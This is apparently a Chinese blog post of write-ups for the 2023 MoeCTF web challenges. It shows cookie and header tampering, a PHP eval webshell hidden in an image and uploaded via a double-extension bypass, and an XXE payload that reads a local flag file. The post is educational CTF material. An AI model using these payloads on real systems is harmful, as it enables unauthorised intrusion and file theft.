2023MoeCTF-WEB题解(持续更新)

Web入门指北

从文档中获取下面这一串数字:

666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d

先进行一次16进制解码

flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=

再对=后面的字符串进行一次base64解码,得到flag

moectf{w3lCome_To_moeCTF_W2b_challengE!!}

http

进来看到
在这里插入图片描述
任务1:使用参数 UwU=u

按照指令GET传参 "UwU=u"。

任务2:提交表单 form: Luv=u

POST传参 "Luv=u" 

任务3:使用管理员角色

cookie改为admin

任务4:从 127.0.0.1 发出请求

X-Forwarded-For

任务5:使用浏览器 ‘MoeBrowser’

User-Agent

在这里插入图片描述
————
在这里插入图片描述

————
在这里插入图片描述
————
在这里插入图片描述

知识烦杂,多做几道类似的题

彼岸的flag

进来看到
在这里插入图片描述

ctrl+u查看源码

在这里插入图片描述
ctrl+f查找moectf

在这里插入图片描述

找到了,看上图最下方

cookie

进来看到
在这里插入图片描述
查看题目给的文件
在这里插入图片描述
api有很多种,这里是提供访问的网址
尝试访问flag,这里要先回到根目录
在这里插入图片描述
提示登录,那我们先注册账号
抓包并发送到Repeater,并且根据文件提示传参
在这里插入图片描述
提示用户已存在,那我们直接去login文件夹尝试登录
在这里插入图片描述
密码错误,只有回去老实地注册账号了
在这里插入图片描述
斗龙战士注册成功,登录
在这里插入图片描述
登录成功(这里记得要把登录时的包给放回浏览器一次,为了设置cookie),再次查看flag文件夹
在这里插入图片描述
提示我们不是管理员,查看cookie,并将cookie进行base64解码一次
在这里插入图片描述
在这里插入图片描述

将cookie改一下,role中的user改为admin
然后进行一次base64编码
在这里插入图片描述
在这里插入图片描述

将cookie改了
在这里插入图片描述

再次访问flag文件夹
在这里插入图片描述

得到flag

gas!gas!gas!

进来看到
在这里插入图片描述

抓包找参数
在这里插入图片描述

测试出
在这里插入图片描述
方向分别对应-1,0,1
在这里插入图片描述
油门分别对应
0,1,2

还需要测出所有的文字描述可能
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
根据此写python脚本

moe图床

进来看到
在这里插入图片描述

查看源代码
在这里插入图片描述

代码审计得,前端检测必须为.png文件

我们直接上传图片马
由<?php @eval($_POST[8]);?>和一张图片组成
已合成:
在这里插入图片描述

上传.png文件,并抓包
在这里插入图片描述

发现文件upload.php
访问
在这里插入图片描述

代码审计
文件名处理部分:

$fileName = $file['name'];: 获取上传文件的原始文件名。
$fileNameParts = explode('.', $fileName);: 使用"."分割文件名,将文件名拆分成多个部分。

文件名验证:

if (count($fileNameParts) >= 2) { ... }: 如果文件名至少有两个部分,检查第二部分是否为"png",如果不是,返回错误信息。
否则,也返回错误信息,因为文件名没有足够的部分来确定扩展名。

文件后缀整成.png.php,文件依然为php文件
在这里插入图片描述

上传后得到路径
在这里插入图片描述

连蚁剑
在这里插入图片描述

得到flag
在这里插入图片描述

了解你的座驾

进来看到
在这里插入图片描述

查看源码,找到一段js代码

<script>
		function submitForm(name) {

			var form = document.createElement("form");
			form.method = "post";
			form.action = "index.php";

			var input = document.createElement("input");
			input.type = "hidden";
			input.name = "xml_content";
			input.value = "<xml><name>" + name + "</name></xml>";

			form.appendChild(input);
			document.body.appendChild(form);
			form.submit();
		}
	</script>

input.value = “” + name + “”;

在这个代码片段中,将用户提供的 name 参数直接插入到 XML 数据中,没有对其进行任何过滤或转义。这意味着如果用户提供了包含外部实体引用的恶意输入,那么这些实体引用可能会被解析,从而触发 XXE 漏洞。

开启抓包,并点击一辆车
在这里插入图片描述

这道题和那些直接插入恶意代码的不同,得传参并进行url编码

这道题用到的恶意代码

<!DOCTYPE test [
  <!ENTITY xxe SYSTEM "file:///flag">
]>
<xml><name>&xxe;</name></xml>

请注意这里的<xml><name> </name></xml>不要随意变动

编码
在这里插入图片描述

%3C!DOCTYPE%20test%20%5B%0A%20%20%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%3E%0A%5D%3E%0A%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E

得到flag
在这里插入图片描述

大海捞针

进来看到

在这里插入图片描述

——————

根据提示传参并抓包扫描1-1000
在这里插入图片描述

可以看到一个返回包的长度不同

可以在返回包内找到flag
在这里插入图片描述

meo图床

进来看到
在这里插入图片描述

我们直接上传图片马
由<?php @eval($_POST[8]);?>和一张图片组成
已合成:
在这里插入图片描述

抓包,改后缀
在这里插入图片描述

上传成功,尝试访问
气死,怎么还是图片
在这里插入图片描述

胡乱改一下参数名
在这里插入图片描述

发现file_get_contents函数,尝试找到flag文件夹
(这个地方在抓一次包)
在这里插入图片描述

发现flag存在的位置,访问
在这里插入图片描述

分析源代码,利用MD5弱类型比较绕过,得到flag

在这里插入图片描述

夺命十三枪

进来看到
在这里插入图片描述

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小蜗牛狂飙记

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值